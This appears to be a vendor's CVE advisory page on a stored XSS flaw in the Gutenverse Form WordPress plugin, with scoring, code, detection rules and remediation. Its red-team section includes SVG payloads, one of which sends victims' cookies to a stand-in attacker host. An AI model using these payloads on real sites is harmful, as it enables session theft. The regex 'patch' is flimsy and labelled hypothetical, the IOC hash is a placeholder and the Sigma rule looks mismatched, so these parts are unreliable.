☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14984

CVE-2025-14984 Cross-Site Scripting in Gutenverse
📅 PUBLISHED: 2026-01-08 09:20 UTC 🔄 UPDATED: 2026-10-02 00:03 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14984 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse Form plugin for WordPress, affecting all versions up to and including 2.3.2. The vulnerability arises because the plugin's framework component adds SVG to the allowed MIME types via the upload_mimes filter without implementing any sanitization of SVG file contents. This allows authenticated attackers with Author-level access or higher to upload malicious SVG files containing JavaScript. When the file is viewed, the JavaScript executes in the victim's browser, leading to arbitrary JavaScript execution. This is a WordPress ecosystem issue, not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Gutenverse Form plugin is distributed via the WordPress plugin repository. Users should verify they are not using a compromised version of the plugin from unofficial sources. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Author-level)
  • User Interaction: Required (victim must view the SVG)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. The vulnerability requires authenticated access with Author-level privileges, but the impact is limited to low confidentiality, integrity, and availability impacts. However, the potential for arbitrary JavaScript execution could be leveraged for more severe attacks.

Deep Dive & Mechanics

The vulnerability is in the Gutenverse Form plugin's handling of file uploads. The plugin uses the upload_mimes filter to add SVG as an allowed MIME type. However, it fails to sanitize the contents of uploaded SVG files. SVG files can contain embedded JavaScript via <script> tags or event handlers like onload. When a user views the SVG file (e.g., via a direct link or embedded in a page), the JavaScript executes in the context of the victim's browser.

Attack Flow:

  1. An authenticated attacker with Author-level access uploads a malicious SVG file via the Gutenverse Form's file upload feature.
  2. The SVG file contains JavaScript payload (e.g., <script>alert('XSS')</script>).
  3. The plugin stores the file without sanitization.
  4. When an administrator or other user views the SVG file (e.g., by visiting the media library or a page displaying the uploaded file), the JavaScript executes.
  5. The attacker can steal cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (in plugin's framework component):

add_filter('upload_mimes', function($mimes) {
    $mimes['svg'] = 'image/svg+xml';
    return $mimes;
});

This code adds SVG to allowed MIME types but does not sanitize the file contents.

Patched Code (hypothetical):

add_filter('upload_mimes', function($mimes) {
    $mimes['svg'] = 'image/svg+xml';
    return $mimes;
});

add_filter('wp_handle_upload_prefilter', function($file) {
    if ($file['type'] === 'image/svg+xml') {
        $content = file_get_contents($file['tmp_name']);
        // Remove script tags and event handlers
        $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
        $content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $content);
        file_put_contents($file['tmp_name'], $content);
    }
    return $file;
});

The patched code sanitizes SVG files by removing script tags and event handlers before storing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Gutenverse Form plugin version <= 2.3.2
  • Authenticated user with Author-level access or higher

Exploit Steps:

  1. Create a malicious SVG file (e.g., payload.svg):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>
  1. Log in to WordPress as an Author.
  2. Navigate to the Gutenverse Form's file upload feature (e.g., via a form or media upload).
  3. Upload payload.svg.
  4. Obtain the URL of the uploaded SVG file (e.g., https://target.com/wp-content/uploads/2025/03/payload.svg).
  5. Send the link to an administrator or other user. When they view the SVG, the JavaScript executes.

Advanced Payload (cookie theft):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    document.location='https://attacker.com/steal.php?cookie='+document.cookie;
  </script>
</svg>

Blue Team (Detection & Response)

Detection:

  • Monitor file uploads for SVG files with suspicious content (e.g., <script> tags).
  • Use WAF rules to block SVG files containing JavaScript.
  • Implement file content scanning for uploaded files.

Response:

  • If a malicious SVG is detected, remove it from the server.
  • Revoke the uploading user's privileges.
  • Scan for other malicious uploads.
  • Apply the patch or disable SVG uploads.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • File Paths:
    • /wp-content/uploads/*.svg
  • Network Traffic:
    • Outbound requests to attacker-controlled domains from SVG files.
  • Log Entries:
    • WordPress debug logs showing upload_mimes filter usage.
    • Access logs showing requests to SVG files with Referer from admin pages.

Detection Engineering

YARA Rule

rule CVE_2025_14984_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-14984"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-14984"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $on_event = /\bon\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $on_event)
}

Sigma Rule

title: CVE-2025-14984 - Malicious SVG Upload via Gutenverse Form
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing JavaScript via Gutenverse Form plugin
author: Valters IT
date: 2025-03-20
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-content\uploads\'
        TargetFilename|endswith: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG files without JavaScript
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14984 - Malicious SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/uploads/"; http_uri; content:".svg"; http_uri; content:"<script"; file_data; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable SVG uploads in the Gutenverse Form plugin until a patch is available.
  2. Remove the upload_mimes filter that adds SVG support, or add sanitization logic.
  3. Review all uploaded SVG files for malicious content and remove any suspicious files.

Long-term Fix:

  • Apply the official patch from the plugin vendor when released.
  • Implement server-side SVG sanitization using libraries like svg-sanitizer.
  • Use a Web Application Firewall (WAF) to block malicious SVG uploads.

Workarounds:

  • Restrict file upload permissions to only trusted users.
  • Use a security plugin that scans uploaded files for malware.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14984/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.